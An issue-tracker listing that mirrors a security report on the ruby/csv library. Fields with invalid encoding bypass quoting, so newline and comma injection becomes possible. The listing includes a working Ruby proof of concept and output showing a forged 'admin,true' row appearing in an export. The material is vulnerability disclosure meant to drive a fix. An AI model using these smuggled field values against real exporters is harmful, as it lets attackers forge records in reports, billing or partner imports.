CSV writer emits invalid-encoding fields unquoted, allowing row and column injection

未关闭 适合新手
#395 0 条评论 0 个 reaction 已指派 0 人 在 GitHub 查看

还没有人认领这个 Issue。

评估

难度
2/5
预计耗时
1-3 小时
新手友好度
70/100
Issue 类型
缺陷
描述清晰度
描述清楚
活跃度
活跃
技术栈
ruby
领域
data

调研方向

从 lib/csv/writer.rb:200 开始,查看 writer 决定是否需要给字段加引号的位置,并追踪无效编码如何影响这一判断。检查 writer 现有的测试中,字段包含换行符、逗号和引号的情况。完成标准是:包含这些字符且编码无效的字段会被加引号或拒绝,从而无法创建额外的记录或列。

由索引模型根据 Issue 内容生成。

描述

About

Title: CSV writer emits invalid-encoding fields unquoted, allowing row and column injection
Repository: ruby/csv
Location: lib/csv/writer.rb:200
Severity: Medium
Impacted versions: 3.1.6, 3.1.9, 3.2.0, 3.2.3, 3.2.4, 3.2.9, 3.3.0, 3.3.7, 3.3.8

Summary

When the writer decides whether a field needs quoting, it first checks
field.valid_encoding?. If the field contains an invalid byte for its encoding, that
check is false and the writer emits the field raw, with no quotes. The guard was added to
avoid an exception from the regular expression used for the check, but it also disables
the escaping that normally keeps a field containing a newline, a comma or a quote
character from becoming multiple records or columns.

A value such as "x\xFF\nadmin,true" tagged as UTF-8 (or Shift_JIS / EUC-JP with the same
invalid byte) is written as two lines. The exporter believes it wrote one field, but the
file now contains an extra record. The same text without the invalid byte, or a binary
(ASCII-8BIT) string, is correctly wrapped in quotes. The behavior exists in releases 3.1.6
through 3.3.8; before 3.1.6 the same input raised an exception instead.

Impact

Any application that builds CSV from untrusted text (display names, comments, uploaded
file contents, request parameters) can be made to emit rows or columns it never wrote.
When the generated file is re-imported, opened in a spreadsheet or loaded into a database
that tolerates the stray byte, the injected record becomes real data: forged rows in
exports and reports, extra columns, and broken import/export round-trips. The writer's
quoting is the mechanism consumers rely on to keep one field from becoming several
records, so bypassing it defeats the normal protection against newline- and comma-based
field injection.

The main limitation is that a strict consumer which validates encoding will reject the
output (Ruby's own CSV.parse on the default UTF-8 path raises InvalidEncodingError).
The injection is realised by byte-oriented consumers, legacy-codepage importers and
spreadsheets that do not reject the invalid byte. The field must also come from a
multibyte encoding with an invalid sequence: ASCII-8BIT and ISO-8859-1 strings are always
valid and are quoted normally. Using force_quotes: true also quotes the field and avoids
the bypass.

Mitigations

Sanitise/validate field encodings before handing them to the writer (e.g. field.scrub,
reject valid_encoding? == false, or transcode to UTF-8 and drop invalid bytes), and
prefer binary output (String#b) for untrusted data. A fix in the library is to quote (or
raise on) invalid-encoding fields instead of emitting them raw -- build the quoting
decision without the regexp (String#include? checks) so an invalid byte cannot disable
escaping.

Examples
example 1

An internal reporting tool exports user-supplied display names with CSV.generate. An
attacker sets a name to x\xFF\nadmin,true (a UTF-8 string containing one invalid byte).
The exported file contains a second row, admin,true; a downstream billing importer that
reads bytes adds a forged administrator record to its input.

example 2

A support portal exports survey responses and a partner system ingests the file with a
byte-oriented CSV loader. A response containing x\xFF,approved produces an extra column,
so the partner's fixed-column import treats attacker-controlled text as a status field.

example 3

A log-export job writes attacker-controlled comment text with CSV.generate_line. A
comment containing an invalid byte and a newline is emitted unquoted; when an analyst
opens the file in a spreadsheet using a legacy codepage, the newline starts a new row, and
the analyst sees a record that was never in the source data.

Proof of concept
#!/usr/bin/env ruby
# frozen_string_literal: true
#
# PoC for bug 01a21ef8-b686-7ad7-8bf1-2767b3798643
#
#   CSV::Writer#quote skips quoting altogether when field.valid_encoding? is
#   false (a guard added in a4b528c to avoid a Regexp::ArgumentError).  A field
#   that carries an ASCII-compatible multibyte encoding (UTF-8, Shift_JIS,
#   EUC-JP) and one invalid byte is therefore written raw -- even though it
#   contains CR/LF, the column separator or the quote character.  The exported
#   file then contains a record the exporter never wrote.
#
#   Any consumer that tolerates the byte (CSV.parse with encoding:
#   "ASCII-8BIT", a database loader, a spreadsheet, another language's CSV
#   reader) sees the attacker's extra row/columns.
#
# Usage:
#   ruby csv_writer_quoting_bypass.rb
#
$LOAD_PATH.unshift("/src/lib") if File.exist?("/src/lib/csv.rb")
require "csv"

def export(*fields)
  CSV.generate_line(fields)
end

def consumer_view(line)
  CSV.parse(line.b, encoding: "ASCII-8BIT")
end

ADMIN_ROW = "admin,true"

fixtures = {
  "UTF-8 (invalid byte)"    => ["x\xFF\n#{ADMIN_ROW}".dup.force_encoding("UTF-8")],
  "UTF-8 (valid control)"   => ["x\n#{ADMIN_ROW}".dup.force_encoding("UTF-8")],
  "Shift_JIS (invalid byte)" => ["x\xFF\n#{ADMIN_ROW}".dup.force_encoding("Shift_JIS")],
  "EUC-JP (invalid byte)"   => ["x\xFF\n#{ADMIN_ROW}".dup.force_encoding("EUC-JP")],
  "ASCII-8BIT (any bytes)"  => ["x\xFF\n#{ADMIN_ROW}".dup.force_encoding("ASCII-8BIT")],
}

# The exporter writes fields it believes it has quoted; the CSV is then read
# back by the same process to prove what a consumer gets.
records = [
  ["id", "name", "role"],
  ["1", fixtures["UTF-8 (invalid byte)"][0], "user"],
]
line = records.map { |record| export(*record) }.join
puts "csv #{CSV::VERSION} / ruby #{RUBY_VERSION} on #{RUBY_PLATFORM}"
puts "exported bytes : #{line.inspect}"
puts "exported rows  : #{records.size} (one header, one user)"
puts "consumer sees  : #{consumer_view(line).inspect}"
puts

puts "per-encoding behaviour (does the writer quote a field containing a newline?):"
injected = false
fixtures.each do |name, fields|
  field = fields.first
  out = export("user", field, "role")
  rows = consumer_view(out)
  quoted = out.include?("\"")
  row_injected = rows.size == 2
  injected ||= row_injected && name != "UTF-8 (valid control)"
  printf("  %-26s valid_encoding?=%-5s quoted=%-5s consumer rows=%d%s\n",
         name, field.valid_encoding?, quoted, rows.size,
         row_injected ? "  <-- extra record: #{rows[1].inspect}" : "")
end

still_unquoted = export(
  "user", fixtures["UTF-8 (invalid byte)"][0], "role"
).include?("\n")
reparsed = consumer_view(export("user", fixtures["UTF-8 (invalid byte)"][0], "role"))

puts
if injected && still_unquoted && reparsed.size == 2
  puts "RESULT: quoting bypassed.  A field that the writer would normally quote"
  puts "        (\"x\\ny\" -> \"\\\"x\\ny\\\"\") is emitted raw as soon as it also carries one"
  puts "        invalid UTF-8 byte, so the exported file contains the extra record"
  puts "        #{reparsed[1].inspect} and the extra columns it carries."
  exit 0
end

puts "RESULT: no quoting bypass observed -- bug not reproduced"
exit 1
stdout
$ ruby csv_writer_quoting_bypass.rb
csv 3.3.8 / ruby 3.4.9 on amd64-freebsd16
exported bytes : "id,name,role\n1,x\xFF\nadmin,true,user\n"
exported rows  : 2 (one header, one user)
consumer sees  : [["id", "name", "role"], ["1", "x\xFF"], ["admin", "true", "user"]]

per-encoding behaviour (does the writer quote a field containing a newline?):
  UTF-8 (invalid byte)       valid_encoding?=false quoted=false consumer rows=2  <-- extra record: ["admin", "true", "role"]
  UTF-8 (valid control)      valid_encoding?=true  quoted=true  consumer rows=1
  Shift_JIS (invalid byte)   valid_encoding?=false quoted=false consumer rows=2  <-- extra record: ["admin", "true", "role"]
  EUC-JP (invalid byte)      valid_encoding?=false quoted=false consumer rows=2  <-- extra record: ["admin", "true", "role"]
  ASCII-8BIT (any bytes)     valid_encoding?=true  quoted=true  consumer rows=1

RESULT: quoting bypassed.  A field that the writer would normally quote
        ("x\ny" -> "\"x\ny\"") is emitted raw as soon as it also carries one
        invalid UTF-8 byte, so the exported file contains the extra record
        ["admin", "true", "role"] and the extra columns it carries.
主要语言
Ruby
星标
221
派生
142
平均合并
1 天 40 分钟
30 天内合并 PR
2

环境准备

这个项目没有提供开发容器、Dockerfile 或贡献指南,环境需要你自己搭建:先看它的 README,通用步骤见我们的新手贡献指南。

从这里开始

  1. 先读完整个 Issue,再读项目的贡献指南。
  2. 在 Issue 下留言说明你要接手 —— 这能避免两个人做同样的事。
  3. Fork 仓库,在一个分支上完成修改。
  4. 提交 Pull Request,并在描述里引用这个 Issue 编号。

ruby/csv 的其他 Issue

查看 ruby/csv 的全部 Issue

相似的 Issue

更多 Ruby Issue

把新 issue 发到你的邮箱

精选适合新手参与的 GitHub issue 摘要。